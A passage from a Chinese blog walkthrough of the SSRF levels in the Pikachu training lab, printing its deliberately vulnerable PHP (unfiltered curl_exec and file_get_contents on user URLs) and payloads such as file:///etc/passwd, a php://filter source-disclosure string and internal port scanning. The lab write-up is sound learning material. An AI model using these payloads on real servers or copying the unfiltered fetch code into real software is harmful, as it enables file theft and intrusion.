总而言之,互联网弄潮儿们平时冲浪还是要擦亮眼睛小心谨慎,不要乱点链接
SSRF
概述
服务器端请求伪造(Server-Side Request Forgery,SSRF)形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者–>服务器–>目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(或者预埋在前端的请求)的地址进行资源请求,则务必要做好目标地址的过滤
SSRF(curl)
页面给出一个超链接,点开返回一段文字
看看URL,发现是通过GET请求给服务器传入一个URL
http://light.asuka39.top:9000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
改一下URL就可以将此服务器当做跳板从别的站点获取信息
http://light.asuka39.top:9000/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
还可以用来扫描其他服务器的端口
http://light.asuka39.top:9000/vul/ssrf/ssrf_curl.php?url=http://light.asuka39.top:9002
看看后端源码片段,使用了curl_exec()
函数
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf_curl.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$FILEDIR = $_SERVER['PHP_SELF'];
$RD = explode('/',$FILEDIR)[1];
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
?>
SSRF(file_get_content)
同样是GET请求传入URL,服务器通过传入的URL获取信息
http://light.asuka39.top:9000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
其实和之前的情况差不多,但是file_get_contents()
函数支持PHP内置方法读取源码
构造payload,将源码文件通过Base64加密后传到前端
php://filter/read=convert.base64-encode/resource=ssrf.php
解密后就能拿到后端源码了
看看后端源码片段,使用了file_get_contents()
函数
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf_fgc.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$FILEDIR = $_SERVER['PHP_SELF'];
$RD = explode('/',$FILEDIR)[1];
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
?>
不同的函数支持不同的网络协议,实际情况中我们可以利用不同的函数所支持的各种协议构造payload来达到目的
后记
pikachu靶场到此就通关了
不难看到这个靶场的难度还是非常低的,既可以作为像我这样的web小白的最佳入门,也非常适合作为平时少接触甚至不接触安全领域的大家的一次网络安全科普
接下来就要跨出新手村了,希望有一天能独当一面,挖掘出属于我自己的0Day漏洞